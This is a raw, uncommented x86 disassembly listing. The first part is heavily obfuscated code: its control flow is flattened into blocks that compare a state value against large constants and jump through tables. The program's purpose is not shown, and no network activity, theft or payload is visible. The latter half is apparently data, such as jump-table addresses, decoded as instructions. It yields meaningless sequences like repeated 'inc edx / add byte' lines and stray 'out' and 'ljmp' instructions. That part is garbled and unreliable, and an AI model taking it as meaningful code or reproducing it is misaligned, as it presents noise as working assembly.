mov edx, eax
sub edx, 0x8b3ffa03
setl cl
mov dword [ebp - 0x1b0], ecx
mov ecx, dword [ebp - 0x1b4]
mov edx, dword [ebp - 0x1b0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xd185456f
sete cl
mov dword [ebp - 0x228], ecx
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x228]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x3f8668ae
setl cl
mov dword [ebp - 0x358], ecx
mov ecx, dword [ebp - 0x35c]
mov edx, dword [ebp - 0x358]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e4a0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3e4]
imul ecx, eax
mov eax, dword [ebp - 0x34]
imul ecx, eax
mov dword [ebp - 0x3e0], ecx
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xf0b4867b
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x12c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x1e89e9ee
setl cl
mov dword [ebp - 0x308], ecx
mov ecx, dword [ebp - 0x30c]
mov edx, dword [ebp - 0x308]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x3e0]
add eax, ecx
mov dword [ebp - 0x3dc], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xdcf881f1
mov dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x11c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xf53c8b68
sete cl
mov dword [ebp - 0x2a0], ecx
mov eax, dword [ebp - 0x2a4]
mov ecx, dword [ebp - 0x2a0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xd1b06313
sete cl
mov dword [ebp - 0x230], ecx
mov eax, dword [ebp - 0x234]
mov ecx, dword [ebp - 0x230]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x9f0b6d9d
sete cl
mov dword [ebp - 0x1c0], ecx
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0x1c0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x2fcc53cf
setl cl
mov dword [ebp - 0x3b0], ecx
mov ecx, dword [ebp - 0x3b4]
mov edx, dword [ebp - 0x3b0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x1a3f87c0
sete cl
mov dword [ebp - 0x2f8], ecx
mov eax, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x2f8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xb076f86e
sete cl
mov dword [ebp - 0x1e0], ecx
mov eax, dword [ebp - 0x1e4]
mov ecx, dword [ebp - 0x1e0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xbe227c6
setl cl
mov dword [ebp - 0x2c8], ecx
mov ecx, dword [ebp - 0x2cc]
mov edx, dword [ebp - 0x2c8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xa545ce73
sete cl
mov dword [ebp - 0x1c8], ecx
mov eax, dword [ebp - 0x1cc]
mov ecx, dword [ebp - 0x1c8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x1717c3a8
sete cl
mov dword [ebp - 0x2f0], ecx
mov eax, dword [ebp - 0x2f4]
mov ecx, dword [ebp - 0x2f0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x50cbf44f
setl cl
mov dword [ebp - 0x370], ecx
mov ecx, dword [ebp - 0x374]
mov edx, dword [ebp - 0x370]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xa545ce73
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xd4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xa545ce73
setl cl
mov dword [ebp - 0x1d0], ecx
mov ecx, dword [ebp - 0x1d4]
mov edx, dword [ebp - 0x1d0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x8803f82e
setl cl
mov dword [ebp - 0x1b8], ecx
mov ecx, dword [ebp - 0x1bc]
mov edx, dword [ebp - 0x1b8]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, byte [ebp - 0x17]
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor ecx, ecx
sub eax, 0x94981e2
sete cl
mov dword [ebp - 0x2b8], ecx
mov eax, dword [ebp - 0x2bc]
mov ecx, dword [ebp - 0x2b8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x51d1c2c6
sete cl
mov dword [ebp - 0x378], ecx
mov eax, dword [ebp - 0x37c]
mov ecx, dword [ebp - 0x378]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xb076f86e
setl cl
mov dword [ebp - 0x1f8], ecx
mov ecx, dword [ebp - 0x1fc]
mov edx, dword [ebp - 0x1f8]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x3dc]
mov ecx, dword [ebp - 0x30]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xc8d93938
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x104]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xf0b4867b
setl cl
mov dword [ebp - 0x280], ecx
mov ecx, dword [ebp - 0x284]
mov edx, dword [ebp - 0x280]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x94981e2
setl cl
mov dword [ebp - 0x2d0], ecx
mov ecx, dword [ebp - 0x2d4]
mov edx, dword [ebp - 0x2d0]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e4a0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x50cbf44f
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x17c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x8803f82e
sete cl
mov dword [ebp - 0x1a0], ecx
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x1a0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x3c0]
mov edx, dword [ebp - 0x3c4]
mov ecx, dword [edx + ecx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xf53c8b68
setl cl
mov dword [ebp - 0x3b8], ecx
mov ecx, dword [ebp - 0x3bc]
mov edx, dword [ebp - 0x3b8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xf0b4867b
sete cl
mov dword [ebp - 0x268], ecx
mov eax, dword [ebp - 0x26c]
mov ecx, dword [ebp - 0x268]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x8206d5fc
setl cl
mov dword [ebp - 0x198], ecx
mov ecx, dword [ebp - 0x19c]
mov edx, dword [ebp - 0x198]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x158ab8fd
setl cl
mov dword [ebp - 0x2e8], ecx
mov ecx, dword [ebp - 0x2ec]
mov edx, dword [ebp - 0x2e8]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call fcn.0040c9a0
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x2fcc53cf
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x94]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xa7362484
sete cl
mov dword [ebp - 0x1d8], ecx
mov eax, dword [ebp - 0x1dc]
mov ecx, dword [ebp - 0x1d8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xd185456f
setl cl
mov dword [ebp - 0x240], ecx
mov ecx, dword [ebp - 0x244]
mov edx, dword [ebp - 0x240]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x7265a15c
setl cl
mov dword [ebp - 0x390], ecx
mov ecx, dword [ebp - 0x394]
mov edx, dword [ebp - 0x390]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xb185d6ec
sete cl
mov dword [ebp - 0x1e8], ecx
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [ebp - 0x1e8]
mov eax, dword [eax + ecx*4]
jmp eax
pop dword [edx]
nop
pop dword [edx]
pop es
pop dword [edx]
adc byte [edi - 0x70efffbe], cl
inc edx
add byte [edi], bl
pop dword [edx]
xor ecx, dword [edi - 0x70b4ffbe]
inc edx
add byte [eax], dl
mov es, word [edx]
add byte [esi - 0x7228ffbe], cl
inc edx
add byte [eax], dl
mov es, word [edx]
jmp 0x1045075a
mov eax, dword [0xa0f30042]
inc edx
add byte [edx - 0x64], al
inc edx
add byte [esi], dl
mov eax, dword [0xa7070042]
inc edx
add bh, ah
cmpsb byte [esi], byte es:[edi]
inc edx
add dl, dh
mov dword [0xa6e70042], eax
inc edx
add bl, al
mov al, byte [0xa4090042]
inc edx
add bh, cl
cmpsb byte [esi], byte es:[edi]
inc edx
add al, bl
cmpsb byte [esi], byte es:[edi]
inc edx
add bh, ch
cwde
inc edx
add bh, cl
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [edi + 0x1004299], dh
cdq
inc edx
add byte [edi - 0x1fffbd67], dh
cdq
inc edx
add al, ah
cdq
inc edx
add al, ah
cdq
inc edx
add al, ah
cdq
inc edx
add al, ah
cdq
inc edx
add al, ah
cdq
inc edx
add dh, ah
cdq
inc edx
add byte [edi + 0x3c004299], dh
lcall 0x42, 0x99c40042
ret
mov al, byte [0x9f9e0042]
inc edx
add byte [edx - 0x39ffbd60], bl
lahf
inc edx
add byte [eax - 0x5ffdffbe], dl
inc edx
add byte [ebp - 0x60], ch
inc edx
add byte [esi], ch
xchg esp, eax
inc edx
add byte [edi], cl
xchg ebp, eax
inc edx
add byte [edx], ah
xchg ebp, eax
inc edx
add byte [edi], cl
xchg ebp, eax
inc edx
add byte [eax - 0x6b], bl
inc edx
add byte [ebp - 0x6b], al
xchg ebp, eax
xchg ebp, eax
inc edx
add byte [esi - 0x6b], bh
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax - 0x50ffbd6b], bl
xchg esi, eax
inc edx
add bh, ah
xchg ebp, eax
inc edx
add al, dl
xchg ebp, eax
inc edx
add byte [ebx - 0x6a], cl
inc edx
add byte [edx - 0x69], al
inc edx
add al, dh
xchg esi, eax
inc edx
add byte [edx], dl
xchg edi, eax
inc edx
add byte [eax], ah
xchg edi, eax
inc edx
add byte [edx - 0x69], al
inc edx
add byte [edi + edx*4], ch
inc edx
add byte [eax], dh
xchg edi, eax
inc edx
add byte [eax], dh
xchg edi, eax
inc edx
add byte [eax], dh
xchg edi, eax
inc edx
add byte [edx], dh
xchg edi, eax
inc edx
add byte [eax - 0x69], dl
inc edx
add byte [ecx - 0x69], ah
inc edx
add ch, ch
xchg edi, eax
inc edx
add bl, dh
xchg edi, eax
inc edx
add ch, cl
cwde
inc edx
add byte [ebp - 0x6b], al
inc edx
add byte [eax], ah
xchg ebp, eax
inc edx
add byte [eax], ah
xchg ebp, eax
inc edx
add byte [ebp - 0x60], ch
inc edx
add byte [eax], ah
xchg ebp, eax
inc edx
add byte [ebx - 0x60], dh
inc edx
add byte [eax - 0x6ce8ffbe], dl
inc edx
add byte [edx - 0x61ffbd60], bl
mov eax, dword [0xa24a0042]
inc edx
add ah, dl
mov al, byte [0xa19e0042]
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi], ch
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax], dh
xchg ebx, eax
inc edx
add dl, bl
mov al, byte [0xa0ed0042]
inc edx
add byte [edx - 0x6d], dl
inc edx
add byte [edi], dl
xchg esp, eax
inc edx
add byte [edi], ah
xchg esp, eax
inc edx
add byte [eax], ah
stosd dword es:[edi], eax
inc edx
add byte [eax], ah
stosd dword es:[edi], eax
inc edx
add byte [eax], ah
stosd dword es:[edi], eax
inc edx
add byte [edx], ah
stosd dword es:[edi], eax
inc edx
add byte [ecx + 0x310042ba], bl
stosd dword es:[edi], eax
inc edx
add byte [edi - 0x4effbd46], bl
mov edx, 0xacdd0042
inc edx
add al, bh
lodsb al, byte [esi]
inc edx
add bh, al
mov dh, 0x42
add byte [ebx], ah
lodsd eax, dword [esi]
inc edx
add byte [esi - 0x46], ch
inc edx
add byte [ebx - 0x46], cl
inc edx
add byte [ebx - 0x4a], ah
inc edx
add byte [ebx - 0x46], cl
inc edx
add byte [ebx + 0x780042b6], ah
mov dh, 0x42
add byte [ebx - 0x34ffbd4a], ah
mov bh, 0x42
add byte [ecx], ch
lodsd eax, dword [esi]
inc edx
add byte [edx - 0x67ffbd4d], dl
mov bl, 0x42
add bh, ch
mov ah, 0x42
add bh, ch
mov ah, 0x42
add byte [esi], dl
mov dh, 0x42
add byte [esi], bl
mov dh, 0x42
add byte [edi], ah
mov dh, 0x42
add byte [esi - 0x4a], al
inc edx
add byte [edx - 0x4a], dl
inc edx
add byte [eax - 0x4fffbd4a], dh
mov dh, 0x42
add byte [edx - 0x4fffbd4a], dh
mov dh, 0x42
add byte [eax - 0x38ffbd4a], bh
mov dh, 0x42
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add dl, bl
mov edx, 0xace50042
inc edx
add byte [esi - 0x49], dh
inc edx
add byte [eax - 0x59ffbd49], al
mov bh, 0x42
add byte [ecx], dh
lodsd eax, dword [esi]
inc edx
add byte [eax + esi*4], bh
inc edx
add byte [ecx], dh
lodsd eax, dword [esi]
inc edx
add byte [eax - 0x4d], dl
inc edx
add byte [ecx - 0x4d], ch
inc edx
add byte [eax - 0x4d], bh
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax - 0x4d], bh
inc edx
add byte [ecx], al
add byte [eax], al
add byte [esi - 0x4d], bh
inc edx
add byte [edi - 0x6fffbd4d], al
mov bl, 0x42
add byte [eax - 0x7fffbd4d], dl
mov bh, 0x42
add byte [eax - 0x6fffbd4d], dl
mov bh, 0x42
add byte [eax - 0x6dffbd49], dl
mov bh, 0x42
add byte [eax - 0x3fffbd49], dl
mov edx, 0xbab70042
inc edx
add dh, al
mov edx, 0xbac00042
inc edx
add byte [ebx + eax*8], ah
inc edx
add byte [eax], bl
rol dword [edx], 0x80
rol byte [edx], 0x18
rol dword [edx], 0x8c
rol byte [edx], 0x94
rol byte [edx], 0x48
mov byte [edx], 0x55
mov byte [edx], 0x82
lds eax, [edx]
dec eax
mov byte [edx], 149
lds eax, [edx]
push eax
lds eax, [edx]
push eax
lds eax, [edx]
push eax
lds eax, [edx]
push eax
lds eax, [edx]
popfd
rol byte [edx], 196
rol byte [edx], 0xe1
rol byte [edx], 1
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add cl, ah
rol byte [edx], 0xec
rol byte [edx], 0
rol dword [edx], 0xb0
mov edi, 0xc1000042
inc edx
add al, dh
mov edx, 0xc0c40042
inc edx
add byte [0xb00042bb], ah
mov ebx, 0xbfb00042
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [0x10042bb], ah
mov ebx, 0xbfb00042
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [0x10042bb], ah
add byte [eax], al
add byte [0xb00042bb], dh
mov edi, 0xbb450042
inc edx
add byte [eax + 0x700042bf], dh
mov ebx, 0xbfb00042
inc edx
add byte [eax - 0x45], dh
inc edx
add byte [eax - 0x45], dh
inc edx
add byte [esi - 0x45], dh
inc edx
add byte [eax - 0x45], dh
inc edx
add byte [esi - 0x4fffbd45], al
mov edi, 0xbc2a0042
mov esp, 0xbc390042
inc edx
add byte [ecx - 0x41], cl
mov esp, 0xbc390042
inc edx
add byte [ecx - 0x41], cl
inc edx
add byte [ecx - 0x41], bl
inc edx
add byte [edi - 0x41], ch
inc edx
add byte [ecx - 0x41], cl
inc edx
add byte [ecx - 0x42], dl
inc edx
add byte [eax - 0x44], cl
inc edx
add byte [ebx - 0x42], cl
inc edx
add byte [eax - 0x44], dh
inc edx
add byte [edi - 0x4dffbd44], ah
mov esp, 0x10042
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
mov dl, 0xbc
inc edx
add byte [esi + edi*4], bh
inc edx
add byte [ebx - 0x42], cl
inc edx
add byte [edx - 0x44], al
inc edx
add byte [ecx - 0x42], dl
inc edx
add byte [edi + edi*4 - 0x4074ffbe], dl
inc edx
add byte [ecx - 0x42], dl
inc edx
add byte [ebx - 0x18ffbd41], cl
mov esi, 0xbf200042
inc edx
add ch, ch
mov esi, 0xbf000042
inc edx
add byte [eax], ah
mov edi, 0xbf000042
inc edx
add byte [eax], ah
mov edi, 0xbf200042
inc edx
add byte [eax + 0x200042bf], dh
mov edi, 0xc0d30042
inc edx
add byte [ebp + 0x670042c5], dl
lds eax, [edx]
and eax, esi
inc edx
add byte [eax - 0x7fffbd3b], al
lds eax, [edx]
add ch, 0x42
add byte [ebx], ah
mov byte [edx], 0xae
fild dword [edx]
stc
fild word [edx]
mov ebx, ds
inc edx
add byte [ebx + ebx*8 - 0x23fcffbe], cl
inc edx
add byte [edx - 0x71ffbd23], bh
fild word [edx]
xor byte [edi], al
inc ebx
add al, bh
cli
inc edx
add byte [ebx + edi*8 - 0x47bffbe], al
inc edx
add al, dl
fld qword [edx]
xor byte [edi], al
inc ebx
add byte [esi + ebx*8 + 0x42], cl
add byte [ebx + edi*8 - 0x47bffbe], al
inc edx
add byte [ebx + edi*8 - 0x224affbe], al
inc edx
add byte [esi], dh
std
inc edx
add byte [edi*8 - 0x2456ffbe], dh
inc edx
add byte [ebx], al
out 0x42, eax
add byte [ebx + 0x360042e4], al
in eax, 0x42
add byte [edi - 0x78ffbd19], al
out 0x42, eax
add byte [edi - 0x55ffbd16], ch
ljmp 0x42